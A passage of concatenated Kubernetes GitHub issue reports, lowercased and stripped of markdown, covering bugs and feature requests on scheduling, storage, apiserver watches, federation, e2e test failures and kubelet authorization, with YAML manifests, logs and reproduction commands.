ill-defined.\r -   supported architectures  :  we provide releases for some less-common platforms that may not be supported by some base images. if some architectures don't require production level hardening, we may be able to provide an alternative base for them.\r -   cve tracking  : some images have better cve feeds & tool integrations than others. e.g.  clair  https://github.com/coreos/clair  will provide cve info for alpine, but not busybox.\r \r /cc @ixdy @thockin @dchen1107

at present there is lots of code duplication across the controllers that synchronize the member  clusters of a given federation with the desired federated state.  this issue is targeted at refactoring the controllers so they can share as much code as possible with the goal of simplifying testing and maintenance.\r \r the original suggestion was to enable generation of the controllers, but that will be tackled separately if at all.\r \r cc: @kubernetes/sig-federation-misc

branch:\r   release-1.4.0 \r \r  when i perform \ make all\  command, it  don’t find depend on package  github.com/jteeuwen/go-bindata .\r i get it and move to  /vendor/github.com/jteeuwen/go-bindata \r then continue to report errors:\r    \r ./hack/run-in-gopath.sh: line 33: _output/bin/deepcopy-gen: permission denied\r makefile.generated_files:216: recipe for target 'gen_deepcopy' failed\r make 1 :      gen_deepcopy  error 1\r makefile:281: recipe for target 'generated_files' failed\r    \r \r

sig/scheduling\r  root@k8smaster k8s   cat   zk-persistent.yaml\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: zk\r   labels:\r     zk-name: zk\r     component: zk\r spec:\r   servicename: zk-svc\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         zk-name: zk\r         component: zk\r       annotations:\r           scheduler.alpha.kubernetes.io/affinity: >\r               {\r                 \ podantiaffinity\ : {\r                   \ requiredduringschedulingignoredduringexecution\ :  {\r                     \ labelselector\ : {\r                       \ matchexpressions\ :  {\r                         \ key\ : \ zk-name\ ,\r                         \ operator\ : \ in\ ,\r                         \ values\ :  \ zk\  \r                       } \r                     },\r                     \ topologykey\ : \ kubernetes.io/hostname\ \r                   } \r                 }\r               }\r     spec:\r       containers:\r       - name: zk\r         imagepullpolicy: ifnotpresent\r         image: engapa/zookeeper:3.4.10\r         resources:\r           requests:\r \ zk-persistent.yaml\  115l, 2718c\r         resources:\r           requests:\r             memory: 1gi\r             cpu: 1\r           limits:\r             memory: 1gi\r             cpu: 1\r         ports:\r         - containerport: 2181\r           name: zkclient\r         - containerport: 2888\r           name: zkserver\r         - containerport: 3888\r           name: zkleader\r         env:\r         - name: zoo_replicas\r           value: \ 3\ \r         - name: java_zk_jvmflag\r           value: \ \\\ -xmx1g -xms1g\\\ \ \r         readinessprobe:\r           exec:\r             command:\r             - zk_status.sh\r           initialdelayseconds: 20\r           timeoutseconds: 10\r         livenessprobe:\r           exec:\r             command:\r             - zk_status.sh\r           initialdelayseconds: 20\r           timeoutseconds: 10\r         volumemounts:\r         - name: datadir\r           mountpath: /opt/zookeeper/data\r         - name: datalogdir\r           mountpath: /opt/zookeeper/data-log\r       securitycontext:\r         runasuser: 1000\r         fsgroup: 1000\r   volumeclaimtemplates:\r   - metadata:\r       name: datadir\r       annotations:\r         volume.beta.kubernetes.io/storage-class: k8sjiqun\r     spec:\r       accessmodes:   \ readwriteonce \   \r       resources:\r         requests:\r           storage: 500mi\r   - metadata:\r       name: datalogdir\r       annotations:\r         volume.beta.kubernetes.io/storage-class: k8sjiqun\r     spec:\r       accessmodes:   \ readwriteonce \   \r       resources:\r         requests:\r           storage: 500mi\r -------------------------------------------\r  root@k8smaster pv   kubectl describe pods zk-0\r ...\r   3m            1m              9       kubelet, k8snode3                       warning         failedmount             mountvolume.setup failed for volume \ kubernetes.io/rbd/a35023e7-87e5-11e7-b7e2-5254008783ac-pvc-a34caf88-87e5-11e7-b7e2-5254008783ac\   spec.name: \ pvc-a34caf88-87e5-11e7-b7e2-5254008783ac\   pod \ a35023e7-87e5-11e7-b7e2-5254008783ac\   uid: \ a35023e7-87e5-11e7-b7e2-5254008783ac\   with: rbd: image kubernetes-dynamic-pvc-a35a6be1-87e5-11e7-93c6-5254008783ac is locked by other nodes\r ----------------------------------------\r root@ceph-osd0:~  rbd lock list k8stest/kubernetes-dynamic-pvc-a352ba6b-87e5-11e7-93c6-5254008783ac\r root@ceph-osd0:~  \r root@ceph-osd0:~  rbd lock list k8stest/kubernetes-dynamic-pvc-a35a6be1-87e5-11e7-93c6-5254008783ac\r root@ceph-osd0:~  \r ----------------------------------------\r in k8s  note：rbd  is locked by other nodes，but no lock in ceph，\r i can't find the reason，please help to explain。

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >\r >  \r \r   what happened  :\r kube-controller-manager has default healthz check feature.  the code is:\r    \r func init   {\r \thealthz.defaulthealthz  \r }\r \r    \r and whether the kube-scheduler add healthz check feature?\r   what you expected to happen  :\r kube-scheduler add healthz check feature\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.583+dfd4dd876a6488\ , gitcommit:\ dfd4dd876a6488ff6374afff5c8858a9a2481379\ , gittreestate:\ clean\ , builddate:\ 2017-09-13t06:13:07z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

we use eas to implement admission webhook following the pattern shown here: https://github.com/openshift/generic-admission-server . in our eas, we have one apigroup for admissionreview and other api groups for eas resources.\r \r we like to enable openapi handler in our eas. but one of the issue is that   admissionreview api types   https://github.com/kubernetes/api/blob/master/admission/v1beta1/types.go l29  don't use  // +k8s:openapi-gen=true  comment. so, we uses  openapiconfig.ignoreprefixes  to make sure the admission webhook paths were ignored from openapi handler. this worked ok in 1.9 and 1.10 release. recently we upgraded to 1.11 release and we found out that k8s.io/apiserver doesn't consider ignored openapi prefixes  anymore. this change was done in pr: \r \r https://github.com/kubernetes/kubernetes/pull/63893\r \r fyi,  openapi handler in routes package  https://github.com/kubernetes/apiserver/blob/master/pkg/server/routes/openapi.go l38  does take into consideration the  ignored prefixes  https://github.com/kubernetes/kube-openapi/blob/master/pkg/builder/openapi.go l197 . \r \r please advise how to fix this issue.\r \r  \r

what happened  :\r   set up a ha cluster with 1.9 and 1.10 api servers  occurs on any apiserver skew boundary where a cohabitating resource's storage version changed groups \r   observed errors when modifying workload objects:\r     when modified via the 1.10 server, saw this error in the 1.9 server:  failed to prepare current and previous objects: v1.deployment is not suitable for converting to {{\ extensions\  \ __internal\ }  {\ extensions\  \ \ } {\ extensions\  \ \ } } \r     when modified via the 1.9 server, saw this error in the 1.10 server:  failed to prepare current and previous objects: v1beta1.deployment is not suitable for converting to {{\ apps\  \ __internal\ }  {\ apps\  \ \ } {\ apps\  \ \ } } \r   when this error was encountered, all watchers for the resource in question would be dropped and have to re-establish, and the internal watchers feeding the watch cache would drop and re-establish\r \r   what you expected to happen  :\r   watch events from all supported storage versions are processed correctly\r \r   how to reproduce it  as minimally and precisely as possible   :\r   start a server from master  for inspectability, store in json . with https://github.com/kubernetes/kubernetes/pull/73477:\r        \r     export storage_media_type=application/json\r     export kube_panic_watch_decode_error=false\r     hack/local-up-cluster.sh\r        \r   create a deployment  e.g. kube-dns in kube-system \r   establish a watch via extensions  kubectl get deployments.extensions --all-namespaces -w \r   establish a watch via apps  kubectl get deployments.apps --all-namespaces -w \r   tail the kube-apiserver log\r   change the apps/v1 deployment in etcd to extensions/v1beta1:\r        \r     etcdctl_api=3 etcdctl get /registry/deployments/kube-system/kube-dns --print-value-only \\\r     | \\\r     kubectl convert -f - --output-version=extensions/v1beta1 -o json \\\r     | \\\r     jq '.items 0  | .metadata.namespace = \ kube-system\ ' \\\r     | \\\r     etcdctl_api=3 etcdctl put /registry/deployments/kube-system/kube-dns\r        \r   observer client watches drop and server log errors:\r    \r e0129 10:42:55.911298   76283 watcher.go:268  failed to prepare current and previous objects: v1beta1.deployment is not suitable for converting to {{\ apps\  \ __internal\ }  {\ apps\  \ \ } {\ apps\  \ \ } } in scheme \ k8s.io/kubernetes/pkg/api/legacyscheme/scheme.go:29\ \r e0129 10:42:55.911298   76283 watcher.go:268  failed to prepare current and previous objects: v1beta1.deployment is not suitable for converting to {{\ apps\  \ __internal\ }  {\ apps\  \ \ } {\ apps\  \ \ } } in scheme \ k8s.io/kubernetes/pkg/api/legacyscheme/scheme.go:29\ \r e0129 10:42:55.911322   76283 watcher.go:268  failed to prepare current and previous objects: v1beta1.deployment is not suitable for converting to {{\ apps\  \ __internal\ }  {\ apps\  \ \ } {\ apps\  \ \ } } in scheme \ k8s.io/kubernetes/pkg/api/legacyscheme/scheme.go:29\ \r e0129 10:42:55.911494   76283 watcher.go:268  failed to prepare current and previous objects: v1beta1.deployment is not suitable for converting to {{\ apps\  \ __internal\ }  {\ apps\  \ \ } {\ apps\  \ \ } } in scheme \ k8s.io/kubernetes/pkg/api/legacyscheme/scheme.go:29\ \r w0129 10:42:55.914348   76283 reflector.go:303  storage/cacher.go:/deployments: watch of  apps.deployment ended with: internal error occurred: v1beta1.deployment is not suitable for converting to {{\ apps\  \ __internal\ }  {\ apps\  \ \ } {\ apps\  \ \ } } in scheme \ k8s.io/kubernetes/pkg/api/legacyscheme/scheme.go:29\ \r w0129 10:42:55.914402   76283 reflector.go:303  storage/cacher.go:/deployments: watch of  apps.deployment ended with: internal error occurred: v1beta1.deployment is not suitable for converting to {{\ apps\  \ __internal\ }  {\ apps\  \ \ } {\ apps\  \ \ } } in scheme \ k8s.io/kubernetes/pkg/api/legacyscheme/scheme.go:29\ \r w0129 10:42:55.914348   76283 reflector.go:303  storage/cacher.go:/deployments: watch of  apps.deployment ended with: internal error occurred: v1beta1.deployment is not suitable for converting to {{\ apps\  \ __internal\ }  {\ apps\  \ \ } {\ apps\  \ \ } } in scheme \ k8s.io/kubernetes/pkg/api/legacyscheme/scheme.go:29\ \r w0129 10:42:55.914478   76283 reflector.go:303  storage/cacher.go:/deployments: watch of  apps.deployment ended with: internal error occurred: v1beta1.deployment is not suitable for converting to {{\ apps\  \ __internal\ }  {\ apps\  \ \ } {\ apps\  \ \ } } in scheme \ k8s.io/kubernetes/pkg/api/legacyscheme/scheme.go:29\ \r i0129 10:42:56.916515   76283 reflector.go:170  listing and watching  apps.deployment from storage/cacher.go:/deployments\r i0129 10:42:56.916515   76283 reflector.go:170  listing and watching  apps.deployment from storage/cacher.go:/deployments\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r \r  /cc @caesarxuchao @deads2k \r /

this field  https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/api/v1/types.go l879  is commented and that comment contains a reference to a markdown file service_accounts.md that no longer exists in docs/.  the file appears to live in docs/design/ now.

the vagrant recipes spin up clusters and verify scheduler, controller manager.    background   the current vagrant recipes use a containerized salt stack that pulls containers for various core components, like the proxy itself.  some of these containers might fail pulling for a variety of reasons, even though the other services  etcd, controller-manager, ...  are working.    the trend towards \ total bootstrapping\  of kubernetes and the increasing importance of add-on / system containers, means that we will be in a rat-race to keep up with the amount of stuff you need to verify in a clutser.    we should just make vagrant validate at the same granularity as e2es    possibly a better / complimentary validation to run after \ up\  on a new cluster: would be the same one which e2e tests run: making sure that all the pods in  kube-system  are transitioned into  running  state before starting. .  this should hep us bring the vagrant validation to parity without having to continually maintain it, since introspecting what needs to run in kube-system is an automated task.  tl;dr  this is just proposing we add validation of all kube-system pods to be in \ running\  state to the cluster validation.

it seems that if a pod doesn't fit on any node, we are trying to schedule it without any backoff.  as an example see those logs from our big cluster:      i0516 11:17:25.112607       5 event.go:216  event api.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ heapster-v1.1.0.beta1-3233973386-krr39\ , uid:\ 75476330-1b54-11e6-a7f5-42010af00002\ , apiversion:\ v1\ , resourceversion:\ 229057\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' pod  heapster-v1.1.0.beta1-3233973386-krr39  failed to fit in any node ... i0516 11:17:25.213493       5 event.go:216  event api.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ heapster-v1.1.0.beta1-3233973386-krr39\ , uid:\ 75476330-1b54-11e6-a7f5-42010af00002\ , apiversion:\ v1\ , resourceversion:\ 229058\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' pod  heapster-v1.1.0.beta1-3233973386-krr39  failed to fit in any node ... i0516 11:17:25.290314       5 event.go:216  event api.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ heapster-v1.1.0.beta1-3233973386-krr39\ , uid:\ 75476330-1b54-11e6-a7f5-42010af00002\ , apiversion:\ v1\ , resourceversion:\ 229162\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' pod  heapster-v1.1.0.beta1-3233973386-krr39  failed to fit in any node ... i0516 11:17:25.351509       5 event.go:216  event api.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ heapster-v1.1.0.beta1-3233973386-krr39\ , uid:\ 75476330-1b54-11e6-a7f5-42010af00002\ , apiversion:\ v1\ , resourceversion:\ 229171\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' pod  heapster-v1.1.0.beta1-3233973386-krr39  failed to fit in any node       so it seems we are trying to schedule as often as possible, which is definitely a bug.  @davidopp @gmarek @kubernetes/sig-scheduling

the  federation-apiserver 's etcd is backed by a pvc that dynamically provisions the underlying persistent disk for its pv. we are not cleaning this up when we tear down the federation control plane and the corresponding test clusters. this caused us to run out of quota and the tests started failing.  we should delete the dynamically provisioned persistent disks at the end of the e2e tests, while tearing the clusters down.  @colhom are you seeing this behavior in your test clusters in aws too?  cc @kubernetes/sig-cluster-federation @mml

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-etcd3/975/  run so broken it didn't make junit output!

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/2405/  failed:  k8s.io  nodeproblemdetector  k8s.io  kernelmonitor should generate node condition and events for corresponding errors {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node_problem_detector.go:355 expected success, but got an error:     < errors.errorstring | 0xc420a98210>: {         s: \ failed running \\\ echo \\\\\\\ dec  5 19:21:00 kernel:  0.000000  permanent error\\\\\\\  >> /tmp/node-problem-detector-173c7265-bb39-11e6-828f-0242ac110007/test.log\\\ : <nil>  exit code 1 \ ,     }     failed running \ echo \\\ dec  5 19:21:00 kernel:  0.000000  permanent error\\\  >> /tmp/node-problem-detector-173c7265-bb39-11e6-828f-0242ac110007/test.log\ : <nil>  exit code 1  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node_problem_detector.go:334       previous issues for this test:  28069  28168  28343  29656  33183

failed:  k8s.io  schedulerpriorities  serial  pod should be schedule to node that don't match the podantiaffinity terms {kubernetes e2e suite}\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/priorities.go:308\r expected\r     <string>: gke-bootstrap-e2e-default-pool-816be1af-vglg\r not to equal\r     <string>: gke-bootstrap-e2e-default-pool-816be1af-vglg\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/priorities.go:307\r    \r \r failed:  k8s.io  schedulerpriorities  serial  pods should be scheduled to low resource use rate node {kubernetes e2e suite}\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/priorities.go:108\r expected\r     <string>: gke-bootstrap-e2e-default-pool-816be1af-vglg\r to equal\r     <string>: gke-bootstrap-e2e-default-pool-816be1af-z1fs\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/priorities.go:107\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   /cc @thockin @smarterclayton @freehan \r /assign\r \r   what happened  :\r \r 1. create a clusterip type service\r    \r apiversion: v1\r kind: service\r metadata:\r   name: foo\r spec:\r   type: clusterip\r   ports:\r   - port: 53\r     name: port-tcp\r     protocol: tcp\r     targetport: 6502\r   selector:\r     bar: baz\r    \r \r    \r   kubectl describe svc foo \r name:\t\t\tfoo\r namespace:\t\tdefault\r labels:\t\t\t<none>\r annotations:\t\t<none>\r selector:\t\tbar=baz\r type:\t\t\tclusterip\r ip:\t\t\t192.168.100.251\r port:\t\t\tport-tcp\t53/tcp\r endpoints:\t\t<none>\r session affinity:\tnone\r events:\t\t\t<none>\r    \r \r 2. edit the service. change it's type to nodeport and add a port. \r note: the new port has same port number but protocol with the existing port.\r    \r spec:\r   clusterip: 192.168.100.251\r   ports:\r   - name: port-tcp\r     port: 53\r     protocol: tcp\r     targetport: 6502\r   ports:\r   - name: port-udp\r     port: 53\r     protocol: udp\r     targetport: 6502\r   selector:\r     bar: baz\r   sessionaffinity: none\r   type: nodeport\r    \r \r 3. see the updated service.   the tcp port was eaten.  \r    \r   kubectl describe svc foo \r name:\t\t\tfoo\r namespace:\t\tdefault\r labels:\t\t\t<none>\r annotations:\t\t<none>\r selector:\t\tbar=baz\r type:\t\t\tnodeport\r ip:\t\t\t192.168.100.251\r port:\t\t\tport-udp\t53/udp\r nodeport:\t\tport-udp\t31494/udp\r endpoints:\t\t<none>\r session affinity:\tnone\r events:\t\t\t<none>\r    \r \r   what you expected to happen  :\r the updated service has both tcp and udp ports.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see the step above.\r \r   anything else we need to know?  :\r if i create a nodeport service with the above two ports, it works.\r    \r apiversion: v1\r kind: service\r metadata:\r   name: foo\r spec:\r   type: nodeport\r   ports:\r   - port: 53\r     name: port-tcp\r     protocol: tcp\r     targetport: 6502\r   - port: 53\r     name: port-udp\r     protocol: udp\r     targetport: 6502\r   selector:\r     bar: baz\r    \r \r    \r   kubectl describe svc foo \r name:\t\t\tfoo\r namespace:\t\tdefault\r labels:\t\t\t<none>\r annotations:\t\t<none>\r selector:\t\tbar=baz\r type:\t\t\tnodeport\r ip:\t\t\t192.168.100.74\r port:\t\t\tport-tcp\t53/tcp\r nodeport:\t\tport-tcp\t30680/tcp\r endpoints:\t\t<none>\r port:\t\t\tport-udp\t53/udp\r nodeport:\t\tport-udp\t30680/udp\r endpoints:\t\t<none>\r session affinity:\tnone\r events:\t\t\t<none>\r    \r \r i write a test case to verify this case. i got a panic.\r    \r --- fail: testupdatenodeport  0.00s \r panic: duplicate node port  recovered \r \tpanic: duplicate node port\r \r goroutine 116  running :\r testing.trunner.func1 0xc42022ca90 \r \t/usr/local/go/src/testing/testing.go:622 +0x29d\r panic 0x143d0c0, 0xc420064c90 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/pkg/registry/core/service.  rest .updatenodeport 0xc4202bee10, 0xc4201cde00, 0xc420304f00, 0xc420051e38, 0x0, 0x0 \r \t/home/cloud/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/core/service/rest.go:616 +0x262\r k8s.io/kubernetes/pkg/registry/core/service.testupdatenodeport 0xc42022ca90 \r \t/home/cloud/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/core/service/rest_test.go:1566 +0x1f2b\r testing.trunner 0xc42022ca90, 0x16e9718 \r \t/usr/local/go/src/testing/testing.go:657 +0x96\r created by testing.  t .run\r \t/usr/local/go/src/testing/testing.go:697 +0x2ca\r fail\tk8s.io/kubernetes/pkg/registry/core/service\t0.130s\r make:      test  error 1\r    \r \r the root cause is as below. _we should take another look at this logic._\r https://github.com/kubernetes/kubernetes/blob/master/pkg/registry/core/service/rest.go l614-l617\r    go\r // detect duplicate node ports; this should have been caught by validation, so we panic\r if contains newnodeports, nodeport  {\r \tpanic \ duplicate node port\  \r }\r    \r \r btw:  46197 changed some related code but it doesn't change the logic here. so i believe this bug is not introduced by  46197. i also tested this on v1.5.1, it has the same issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  : head a9bf44101b3ec13a3e94df926c95ba5384d18e28\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r errkeynotfound error is thrown when checkpoint is not found.\r behavior broken by last commit 2fd59d9960c87c32910fe9d275d835d979cbc553\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r we need to update local volume provisioner used in local pv e2e tests for k8s 1.10, by leveraging a new provisioner image  v2.1.0 .\r \r   environment  :\r - kubernetes version: v1.10\r

is this a bug report or feature request?  :\r   \r \r   what happened  :\r we had setup kubernetes 1.10.1 on coreos with three nodes.\r setup is successfull \r \r    \r name                status    roles     age       version\r node1.example.com   ready     master    19h       v1.10.1+coreos.0\r node2.example.com   ready     node      19h       v1.10.1+coreos.0\r node3.example.com   ready     node      19h       v1.10.1+coreos.0\r    \r \r    \r namespace     name                                        ready     status    restarts   age\r default            pod-nginx2-689b9cdffb-qrpjn       1/1       running   0          16h\r kube-system   calico-kube-controllers-568dfff588-zxqjj    1/1       running   0          18h\r kube-system   calico-node-2wwcg                           2/2       running   0          18h\r kube-system   calico-node-78nzn                           2/2       running   0          18h\r kube-system   calico-node-gbvkn                           2/2       running   0          18h\r kube-system   calico-policy-controller-6d568cc5f7-fx6bv   1/1       running   0          18h\r kube-system   kube-apiserver-x66dh                        1/1       running   4          18h\r kube-system   kube-controller-manager-787f887b67-q6gts    1/1       running   0          18h\r kube-system   kube-dns-79ccb5d8df-b9skr                   3/3       running   0          18h\r kube-system   kube-proxy-gb2wj                            1/1       running   0          18h\r kube-system   kube-proxy-qtxgv                            1/1       running   0          18h\r kube-system   kube-proxy-v7wnf                            1/1       running   0          18h\r kube-system   kube-scheduler-68d5b648c-54925              1/1       running   0          18h\r kube-system   pod-checkpointer-vpvg5                      1/1       running   0          18h\r    \r but when i tries to see the logs of any pods kubectl gives the following error:\r \r    \r kubectl logs -f pod-nginx2-689b9cdffb-qrpjn\r error: you must be logged in to the server  the server has asked for the client to provide credentials   pods/log pod-nginx2-689b9cdffb-qrpjn  \r    \r \r and also trying to get inside of the pods  using exec command of kubectl  gives following error:\r \r    \r kubectl exec -ti pod-nginx2-689b9cdffb-qrpjn bash\r error: unable to upgrade connection: unauthorized\r    \r \r   what you expected to happen  :\r \r    \r 1. it will display the logs of the pods\r 2. we can do exec for the pods\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0+coreos.0\ , gitcommit:\ 6bb2e725fc2876cd94b3900fc57a1c98ca87a08b\ , gittreestate:\ clean\ , builddate:\ 2018-04-02t16:49:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - os  e.g. from /etc/os-release :\r \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1576.4.0\r version_id=1576.4.0\r build_id=2017-12-06-0449\r pretty_name=\ container linux by coreos 1576.4.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r - kernel  e.g.  uname -a  :\r \r  linux node1.example.com 4.13.16-coreos-r2  1 smp wed dec 6 04:27:34 utc 2017 x86_64 intel r  xeon r  cpu l5640 @ 2.27ghz genuineintel gnu/linux \r \r - install tools:\r \r 1. kubelet\r \r    \r description=kubelet via hyperkube aci\r  service \r environmentfile=/etc/kubernetes/kubelet.env\r environment=\ rkt_run_args=--uuid-file-save=/var/run/kubelet-pod.uuid \\\r   --volume=resolv,kind=host,source=/etc/resolv.conf \\\r   --mount volume=resolv,target=/etc/resolv.conf \\\r   --volume var-lib-cni,kind=host,source=/var/lib/cni \\\r   --mount volume=var-lib-cni,target=/var/lib/cni \\\r   --volume var-log,kind=host,source=/var/log \\\r   --mount volume=var-log,target=/var/log\ \r execstartpre=/bin/mkdir -p /etc/kubernetes/manifests\r execstartpre=/bin/mkdir -p /etc/kubernetes/cni/net.d\r execstartpre=/bin/mkdir -p /etc/kubernetes/checkpoint-secrets\r execstartpre=/bin/mkdir -p /etc/kubernetes/inactive-manifests\r execstartpre=/bin/mkdir -p /var/lib/cni\r execstartpre=/usr/bin/bash -c \ grep 'certificate-authority-data' /etc/kubernetes/kubeconfig | awk '{print $2}' | base64 -d > /etc/kubernetes/ca.crt\ \r execstartpre=-/usr/bin/rkt rm --uuid-file=/var/run/kubelet-pod.uuid\r execstart=/usr/lib/coreos/kubelet-wrapper \\\r   --kubeconfig=/etc/kubernetes/kubeconfig \\\r   --config=/etc/kubernetes/config \\\r   --cni-conf-dir=/etc/kubernetes/cni/net.d \\\r   --network-plugin=cni \\\r   --allow-privileged \\\r   --lock-file=/var/run/lock/kubelet.lock \\\r   --exit-on-lock-contention \\\r   --hostname-override=node1.example.com \\\r   --node-labels=node-role.kubernetes.io/master \\\r   --register-with-taints=node-role.kubernetes.io/master=:noschedule\r execstop=-/usr/bin/rkt stop --uuid-file=/var/run/kubelet-pod.uuid\r restart=always\r restartsec=10\r  install \r wantedby=multi-user.target\r    \r \r 2. kubeletconfig\r \r    \r kind: kubeletconfiguration\r apiversion: kubelet.config.k8s.io/v1beta1\r staticpodpath: \ /etc/kubernetes/manifests\ \r clusterdomain: \ cluster.local\ \r clusterdns:   \ 10.3.0.10\   \r nodestatusupdatefrequency: \ 5s\ \r clientcafile: \ /etc/kubernetes/ca.crt\ \r    \r \r we have also specified \ --kubelet-client-certificate\  and \ --kubelet-client-key\  flags into kube-apiserver.yaml files:\r \r    \r - --kubelet-client-certificate=/etc/kubernetes/secrets/apiserver.crt\r - --kubelet-client-key=/etc/kubernetes/secrets/apiserver.key\r    \r \r so what we are missing here?\r thanks in advance :

  / \r this is a followup issue to address the \ standard build globals\  nit on https://github.com/kubernetes/kubernetes/pull/67971/files r214488996\r \r at the very least i think we shouldn't capture our custom env var.\r \r also think it'd be worth documenting the assumed variables in a list, similar to\r https://github.com/kubernetes/kubernetes/blob/master/hack/lib/golang.sh l352-l353

\r i try to add a new node to cluster ,it seems failed,i do not know why?\r \r    \r  preflight  running pre-flight checks\r i1123 16:44:24.598103   14540 kernel_validator.go:81  validating kernel version\r i1123 16:44:24.598191   14540 kernel_validator.go:96  validating kernel config\r \t warning hostname : hostname \ t-k8s-b1\  could not be reached\r \t warning hostname : hostname \ t-k8s-b1\  lookup t-k8s-b1 on 103.224.222.222:53: no such host\r  discovery  trying to connect to api server \ 10.100.1.20:6443\ \r  discovery  created cluster-info discovery client, requesting info from \ https://10.100.1.20:6443\ \r  discovery  requesting info from \ https://10.100.1.20:6443\  again to validate tls against the pinned public key\r  discovery  cluster info signature and contents are valid and tls certificate validates against pinned roots, will use api server \ 10.100.1.20:6443\ \r  discovery  successfully established connection with api server \ 10.100.1.20:6443\ \r  kubelet  downloading configuration for the kubelet from the \ kubelet-config-1.11\  configmap in the kube-system namespace\r unauthorized\r    \r \r    \r   kubectl get nodes\r name       status    roles     age       version\r t-k8s-a1   ready     master    4d        v1.11.3\r t-k8s-b2   ready     <none>    4d        v1.11.3\r

what happened  :\r with zones marked using tags in vcenter and using vcp, the k8s nodes show the zone information correctly in its labels, but a volume does not have the zone labels applied. a node's zone information works correctly due to pr https://github.com/kubernetes/kubernetes/pull/66795.\r \r    \r $:~> kubectl get nodes --show-labels\r name                 status                     age       version                                     labels\r kubernetes2-master   ready,schedulingdisabled   6d        v1.14.0-alpha.0.1570+ccf84273118a1f-dirty   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,failure-domain.beta.kubernetes.io/region=region_1,failure-domain.beta.kubernetes.io/zone=zone_1,kubernetes.io/hostname=kubernetes2-master\r kubernetes2-node1    ready                      6d        v1.14.0-alpha.0.1570+ccf84273118a1f-dirty   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,failure-domain.beta.kubernetes.io/region=region_1,failure-domain.beta.kubernetes.io/zone=zone_1,kubernetes.io/hostname=kubernetes2-node1\r    \r \r however, a newly created volume does not show any zone labels today.\r \r    \r $:~> kubectl get pv --show-labels\r name                                       capacity   accessmodes   reclaimpolicy   status    claim          storageclass   reason    age       labels\r pvc-aab193fe-1fc8-11e9-a263-005056929afb   1mi        rwo           delete          